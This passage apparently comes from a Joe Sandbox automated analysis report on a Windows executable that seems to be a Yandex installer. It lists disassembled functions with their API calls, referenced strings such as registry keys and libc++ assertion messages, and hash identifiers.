Opcode ID: a95e326a31355e30c2d224fcae3c8800945223c4bb7945a3b674cb7d6aac9cbe
Instruction ID: 0ceeecdd7120df93447417a8fc7b9c59b4ba5a6b9991773f7a3a33e489f0dc80
Opcode Fuzzy Hash: a95e326a31355e30c2d224fcae3c8800945223c4bb7945a3b674cb7d6aac9cbe
Instruction Fuzzy Hash: EA51AD71908350AADB10AB75DC41B6FBBE8FFC5714F04492CF995D3292DB70AA488B92

Function 0092E0D0 Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 130COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(Software\Yandex,00000002,80000001), ref: 0092E153
GetLastError.KERNEL32(?,00000001), ref: 0092E20D

Strings

Can't open registry key: , xrefs: 0092E185
Software\AppDataLow\Yandex, xrefs: 0092E119
Software\Yandex, xrefs: 0092E11E, 0092E145, 0092E193, 0092E26D
RememberUidIsCreated, xrefs: 0092E170, 0092E228
' at ', xrefs: 0092E261
Can't create registry value ', xrefs: 0092E241

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID: ' at '$Can't create registry value '$Can't open registry key: $RememberUidIsCreated$Software\AppDataLow\Yandex$Software\Yandex
API String ID: 1452528299-3805467497
Opcode ID: e6b3e1f30f6ecf7daa00116486c5273d266f00e426e57d0bb17c646a7c037086
Instruction ID: 712e33a9159b6259db75eae73ac1d5c87674c9e6d3a6b92eb0584fa80ba1da39
Opcode Fuzzy Hash: e6b3e1f30f6ecf7daa00116486c5273d266f00e426e57d0bb17c646a7c037086
Instruction Fuzzy Hash: 4641C331608345AADB20ABB4EC82F5FB795EFC1704F00482CF95596182EB70A5489793

Function 009201DD Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00920263

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ec01695173d93463d8a107988d0f46f9cd18bb7fde2796ee8135c92eb550a283
Instruction ID: eed0e63c83bbff099084238a0602e8fdaee391c1a0eb7ada5630569e5d5a009f
Opcode Fuzzy Hash: ec01695173d93463d8a107988d0f46f9cd18bb7fde2796ee8135c92eb550a283
Instruction Fuzzy Hash: 92B16932A013759FDB11DF64EC81BAE7FA9EFD5310F148156E904AF287E274A901CBA0

Function 008FC8F0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 232COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008FCA5B

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008FCBB7
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 008FCB73
string_view::substr, xrefs: 008FCB9E
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008FCBA8
..\..\third_party\libc++\src\include\string_view:533: assertion __s.size() == 0 || __s.data() != nullptr failed: string_view::find_first_of(): received nullptr, xrefs: 008FCB82

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$..\..\third_party\libc++\src\include\string_view:533: assertion __s.size() == 0 || __s.data() != nullptr failed: string_view::find_first_of(): received nullptr$string_view::substr
API String ID: 4218353326-3166779238
Opcode ID: 4c49f5d5848ee1c412ab979b48a9c33676c2ce661bcd5008f636070a75054e6c
Instruction ID: adb890071dd69589fb5bfd6ed402e3e7dc4c0da325c07964c1d8011250726c80
Opcode Fuzzy Hash: 4c49f5d5848ee1c412ab979b48a9c33676c2ce661bcd5008f636070a75054e6c
Instruction Fuzzy Hash: 0B819370F0021E9FCB14CF79C981ABEB7A2FF98324F148129E955E7291D770AA55CB90

Function 008E0E50 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008E0EAD
_strlen.LIBCMT ref: 008E0F15

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008E1086
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008E108D
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008E1094
installer_type, xrefs: 008E0EA8, 008E0F10, 008E0F58, 008E0F5F, 008E0F73, 008E0FC7, 008E0FCE, 008E0FE2

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$installer_type
API String ID: 4218353326-1463633511
Opcode ID: 0f1cbc128df8ed011629e87bee77f39731e64bbca8a50ba4012b7e4347c41694
Instruction ID: 3065e2436954edee576f9c408a7e97aa396eae2054831ed547e3dca1e61ff7b8
Opcode Fuzzy Hash: 0f1cbc128df8ed011629e87bee77f39731e64bbca8a50ba4012b7e4347c41694
Instruction Fuzzy Hash: 1A612BB1D0428E6FDF209AA5C885EBEB7B9FF82304F140424E415F7141E771A9858B91

Function 008DA2A0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(009714A8,?,?,?,?,?,?,?,?,?,?,008AE91D,1207E8D8,?,008AE531), ref: 008DA36C
ReleaseSRWLockExclusive.KERNEL32(009714A8,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 008DA3B9
ReleaseSRWLockExclusive.KERNEL32(009714A8,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 008DA479
__Init_thread_header.LIBCMT ref: 008DA500

Part of subcall function 008FFBA7: EnterCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBB2
Part of subcall function 008FFBA7: LeaveCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBEF

__Init_thread_header.LIBCMT ref: 008DA536

Strings

Stability.DumpWithoutCrashingStatus, xrefs: 008DA3EF

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$CriticalInit_thread_headerReleaseSection$AcquireEnterLeave
String ID: Stability.DumpWithoutCrashingStatus
API String ID: 3781742723-453052744
Opcode ID: 4b4f42207103eacf8e24d38e9291371360ca417938ded05d34e293e262e1dcb2
Instruction ID: 3e83735f0ef34dd38e59ee6f7a4d43ae13d0a98640dec2aa1aa9428eb796a428
Opcode Fuzzy Hash: 4b4f42207103eacf8e24d38e9291371360ca417938ded05d34e293e262e1dcb2
Instruction Fuzzy Hash: 34614BB6A183009FC718DF2CE886A2A77E0FB85314F14862DF849C73A2D7709845DB93

Function 008B0660 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008B076A

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008B0836
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008B082F
..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008B083D

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen
String ID: ..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr
API String ID: 4218353326-4247613780
Opcode ID: 53532708baedeb20ad823da69adfb089a53c350e4eb54c20446764a986ee70e5
Instruction ID: 66e244085b8d8a17ae38e0689bf03fbdb5c59434c496b6af53d073e0b2b3f1c9
Opcode Fuzzy Hash: 53532708baedeb20ad823da69adfb089a53c350e4eb54c20446764a986ee70e5
Instruction Fuzzy Hash: EB5123B1E042198BD710DF34EC81AAAB3A5FF98314F144179F908D7392E771AA81DF95

Function 008401D0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 153synchronizationthreadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 00840202
WaitForSingleObject.KERNEL32(00000000,0000EA60), ref: 00840213
GetLastError.KERNEL32 ref: 00840220
TerminateThread.KERNEL32(00000000,00000000,Failed to wait for install async exit. Terminate install_thread_,00942CFB,00000001,~Installer,000001F4,?), ref: 00840280

Strings

~Installer, xrefs: 00840240
Failed to wait for install async exit. Terminate install_thread_, xrefs: 00840255

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorEventLastObjectSingleTerminateThreadWait
String ID: Failed to wait for install async exit. Terminate install_thread_$~Installer
API String ID: 2510535927-3230243165
Opcode ID: 6cc45fa76fc0beb963217e048ff221fb58345a2f5504a90dd40f1d539eab313f
Instruction ID: e78ee28d6748b5994e9bece558c784d8d1e41b0d06ced588f892813a22b8923c
Opcode Fuzzy Hash: 6cc45fa76fc0beb963217e048ff221fb58345a2f5504a90dd40f1d539eab313f
Instruction Fuzzy Hash: 6D51E6B0A047099BEB259B34DC06B5B7A91FF50715F04482CF6DAD2292DB71B855CB43

Function 0089E300 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,00000000), ref: 0089E362
CreateFileW.KERNEL32(?,0089EFEC,00000007,00000000,00000003,02000000,00000000), ref: 0089E393
GetLastError.KERNEL32 ref: 0089E39F
SetLastError.KERNEL32(00000000), ref: 0089E3B4

Strings

PathHasAccess, xrefs: 0089E341
file_util_win.cc, xrefs: 0089E33C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorFileLast$AttributesCreate
String ID: PathHasAccess$file_util_win.cc
API String ID: 1299224125-729966965
Opcode ID: 52fd4c023b752b7eeaebcb258bd20a468d396504b1d605238524cc2a33c31175
Instruction ID: 961d4858737d02597bd59d755637f5bee5175fb553549dfab6aca1f4aad927f6
Opcode Fuzzy Hash: 52fd4c023b752b7eeaebcb258bd20a468d396504b1d605238524cc2a33c31175
Instruction Fuzzy Hash: CC2136315043146BDB10AB38CC86B6FB794FFC9724F144728F995D7280EB60A94597C2

Function 008F0780 Relevance: 10.6, APIs: 7, Instructions: 75COMMON

Download Yara Rule

APIs

InitOnceExecuteOnce.KERNEL32(00972A68,008F0610,?,00000000,00000000,008F0440,?,?,00000130), ref: 008F07A9
GetLastError.KERNEL32(?,?,00000130), ref: 008F07C7
TlsGetValue.KERNEL32(?,?,00000130), ref: 008F07D5
SetLastError.KERNEL32(00000000,?,?,00000130), ref: 008F07DE
TlsSetValue.KERNEL32(00000000,?,?,?,?,?,?,00000130), ref: 008F0801
AcquireSRWLockExclusive.KERNEL32(00972A74,?,?,00000130), ref: 008F0814
ReleaseSRWLockExclusive.KERNEL32(00972A74,?,?,00000130), ref: 008F0825

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorExclusiveLastLockOnceValue$AcquireExecuteInitRelease
String ID:
API String ID: 389898287-0
Opcode ID: 7faf3a57b70e594ee65cdfa7998d372c84a193d4133b7de33ebf16132986b015
Instruction ID: e0bc9df0426940fdc485dd777b70a7792e437bc8a39033affad45f3fb53db3bf
Opcode Fuzzy Hash: 7faf3a57b70e594ee65cdfa7998d372c84a193d4133b7de33ebf16132986b015
Instruction Fuzzy Hash: 78219D72A24308AFDB106F75EC49A7A7768FB85726F000034FE0AD7291DB709950EBA5

Function 0091EB77 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0091EC86,?,00000022,00000000,?,?,?,0091E7BF,00000022,FlsSetValue,00936768,FlsSetValue,?), ref: 0091EC38

Strings

ext-ms-, xrefs: 0091EBE2
api-ms-, xrefs: 0091EBCE

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 41534b30734edec74bad544079a842e6f4b1b4fbed7ace3fbc25c28ff4b896e5
Instruction ID: ddbac382ae4e24ee45d58fe9a46093e5fa6bbb5490d216a269cba478d6c4ff1f
Opcode Fuzzy Hash: 41534b30734edec74bad544079a842e6f4b1b4fbed7ace3fbc25c28ff4b896e5
Instruction Fuzzy Hash: 08212731B05319ABC722AB65EC45BEB375C9B51760F250514FD42A7280D730EE40DBD0

Function 008CE2A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 64libraryloaderCOMMON

Download Yara Rule

APIs

__Init_thread_header.LIBCMT ref: 008CE2D9

Part of subcall function 008FFBA7: EnterCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBB2
Part of subcall function 008FFBA7: LeaveCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBEF

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,008A048D), ref: 008CE2FB
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 008CE307
GetCurrentProcess.KERNEL32(?,?,008A048D), ref: 008CE31C

Strings

GetProcessMitigationPolicy, xrefs: 008CE301
kernel32.dll, xrefs: 008CE2F6

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CriticalSection$AddressCurrentEnterHandleInit_thread_headerLeaveModuleProcProcess
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 835113086-1680159014
Opcode ID: aaf8df3cbee6771e9b55df956e6663bf7ce7bf6137db315046b89b57269315ac
Instruction ID: bfb601acad55756568aebc155182d185d795493245ae67298f180dc191de0fb9
Opcode Fuzzy Hash: aaf8df3cbee6771e9b55df956e6663bf7ce7bf6137db315046b89b57269315ac
Instruction Fuzzy Hash: 0A11E6766542889FCB10AB78EC85F6A3BE8FB85359F040128FD05C7391DB709904DB62

Function 009006A3 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0090071E,00900926), ref: 009006BA
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 009006D0
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 009006E5

Strings

KERNEL32.DLL, xrefs: 009006B5
AcquireSRWLockExclusive, xrefs: 009006CA
ReleaseSRWLockExclusive, xrefs: 009006DA

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: c106dbdfd16a21e0a5e0d32f37b4009dd36f7cbc4d1f8fe75f8592668a627884
Instruction ID: 28459c7c37d1af8cbdd4bbee44c781aa421bd37de2f081cb86e0cc061e5270fc
Opcode Fuzzy Hash: c106dbdfd16a21e0a5e0d32f37b4009dd36f7cbc4d1f8fe75f8592668a627884
Instruction Fuzzy Hash: EAF022312593125FCB201FB85CC0BB722CC9AC1349B044579E802C31C0EF6ADC406F90

Function 0595F768 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0595F76F
std::_Lockit::_Lockit.LIBCPMT ref: 0595F77A
std::_Lockit::~_Lockit.LIBCPMT ref: 0595F7E8

Part of subcall function 0595F8CB: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0595F8E3

std::locale::_Setgloballocale.LIBCPMT ref: 0595F795
_Yarn.LIBCPMT ref: 0595F7AB

Strings

VD, xrefs: 0595F76A

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: VD
API String ID: 1088826258-1791571226
Opcode ID: 26079ed9ee3483d7cc7bdc0e8edb516583ced96767607a64b300030e793f1357
Instruction ID: f248d190520fdd91b13b4546c123d92fd234184c19094bb824d4d2634ae6d956
Opcode Fuzzy Hash: 26079ed9ee3483d7cc7bdc0e8edb516583ced96767607a64b300030e793f1357
Instruction Fuzzy Hash: 6E01DFB5B006109BDB06EF20D85893C77B5BFC1370B19011ADD025B391CF38AA56CBC6

Function 0085A540 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,?,?,?,?,E8E931F0,000B54B8,?,?,?,?,00000000,00000006,?lang=,0010C25D,FFFFFFBA), ref: 0085A54E
GetProcAddress.KERNEL32(00000000,ChangeWindowMessageFilterEx), ref: 0085A590

Part of subcall function 008F92F0: __Init_thread_header.LIBCMT ref: 008F9346
Part of subcall function 008F92F0: GetVersionExW.KERNEL32(?), ref: 008F937C
Part of subcall function 008F92F0: GetProductInfo.KERNEL32(?,?,00000000,00000000,?), ref: 008F9393
Part of subcall function 008F92F0: __Init_thread_header.LIBCMT ref: 008F93EF
Part of subcall function 008F92F0: GetNativeSystemInfo.KERNEL32(0096599C), ref: 008F9420

